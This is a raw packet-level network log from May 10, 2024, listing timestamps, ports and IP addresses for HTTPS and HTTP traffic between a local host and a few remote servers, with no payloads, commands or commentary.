May 10, 2024 09:20:57.299093962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.299472094 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.299669027 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.299773932 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.300321102 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.300431013 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.300448895 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.300565004 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.300592899 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.300692081 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.300710917 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.300736904 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.300931931 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.300940037 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.301048040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.301060915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.301071882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.301085949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.301107883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.301134109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.301141977 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.301158905 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.301547050 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.301590919 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.301604033 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.301634073 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.301713943 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.301722050 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.301801920 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.301829100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.301853895 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.301965952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.301979065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.301990986 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.301990986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.302022934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.302038908 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.302189112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.302189112 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.302201986 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.302248001 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.302278042 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.303107977 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.303181887 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.303380966 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.303441048 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.303512096 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.303584099 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.303626060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.303637981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.303649902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.303662062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.303694963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.303711891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.303925037 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.303987026 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.304272890 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.304384947 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.304596901 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.304665089 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.304744959 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.304753065 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.304809093 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.304831028 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.305067062 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.305074930 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.305128098 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.305133104 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.305197001 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.305210114 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.305318117 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.305325985 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.306937933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.306952000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.306963921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.306976080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.306998968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.307028055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.308779955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.308794022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.308804989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.308816910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.308845997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.308866024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.314445972 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.314498901 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.321683884 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.321799040 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.358392954 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.358412981 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.358414888 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.358417034 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.358417034 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.358505964 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.370904922 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.370973110 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.371135950 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.371181011 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.371974945 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.372003078 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.372025967 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.372035027 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.372075081 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.372090101 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.372404099 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.372589111 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.372623920 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.372838974 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.372879028 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.373003006 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.373398066 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.373608112 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.373666048 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.373851061 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.373936892 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.374255896 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.374294043 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.374296904 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.374313116 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.374331951 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.374336004 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.374350071 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.375116110 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.375154972 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.375947952 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.375953913 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.375977039 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.375983953 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.376003981 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.376013041 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.376032114 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.376765013 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.376794100 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.376823902 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.376837015 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.376866102 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.377088070 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.377130032 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.377582073 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.377633095 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.377641916 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.377763033 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.378313065 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.378357887 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.378397942 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.378402948 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.378441095 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.378472090 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.378499985 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.378565073 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.378577948 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.378591061 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.378655910 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.378794909 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.378849983 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.378887892 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.378887892 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.378895998 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.378976107 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.379034996 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.379209995 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.379221916 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.379432917 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.379446983 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.379594088 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.379652977 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.379686117 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.379719973 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.379728079 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.379736900 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.379900932 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.379920006 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.380012989 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.380460978 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.380510092 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.380637884 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.380667925 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.380697012 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.380703926 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.380767107 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.380812883 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.380826950 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.381098032 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.381354094 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.381525993 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.381537914 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.381867886 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.381905079 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.381925106 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.381933928 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.381947041 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.382723093 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382754087 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382776022 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382782936 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382788897 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.382797956 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382807970 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382819891 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.382829905 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382842064 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.382850885 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382886887 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.382893085 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382919073 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382927895 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.382931948 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.382968903 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.382975101 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383516073 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383543015 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383547068 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383564949 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.383569956 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383599043 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.383599997 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383614063 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.383635044 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.383665085 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383693933 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383713961 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.383719921 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.383748055 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.383977890 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.384053946 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.384083033 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.384716034 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.384743929 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.384762049 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.384769917 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.384809017 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.385170937 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.385184050 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.385411978 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.385428905 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.385492086 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.385513067 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.385571957 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.385579109 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.385617971 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.385915041 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.385925055 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.386029005 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.386109114 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.386934042 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.386965990 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.387002945 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.387011051 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.387018919 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.387911081 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.387936115 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.387978077 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.387983084 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.388016939 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.388839960 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.388891935 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.388895988 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.388940096 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.389667034 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.389745951 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.389759064 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.389801979 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.390016079 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.390022039 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.390250921 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.390275002 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.390336037 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.390706062 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.390718937 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.420121908 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.424115896 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.424139023 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.429287910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429305077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429316998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429332018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429373026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429415941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429425955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429442883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429455042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429466963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429477930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429517031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429564953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429718971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429735899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429749012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429760933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429763079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429773092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429785013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429786921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429796934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429802895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429811001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429827929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429838896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429847002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429851055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429862976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429874897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429881096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429888010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429898024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429898977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.429918051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.429933071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.430907965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.430921078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.430932045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.430943966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.430960894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.430993080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.431870937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.431884050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.431895018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.431907892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.431924105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.431952000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.432400942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.432414055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.432450056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.432952881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.433120012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.433131933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.433144093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.433155060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.433157921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.433166027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.433191061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.433208942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.434262037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434274912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434292078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434303999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434314966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434326887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434330940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.434340954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434355021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.434365034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.434401989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.434453964 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.434468031 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.434480906 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.434489012 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.437262058 CEST	80	49754	34.68.151.162	192.168.2.4
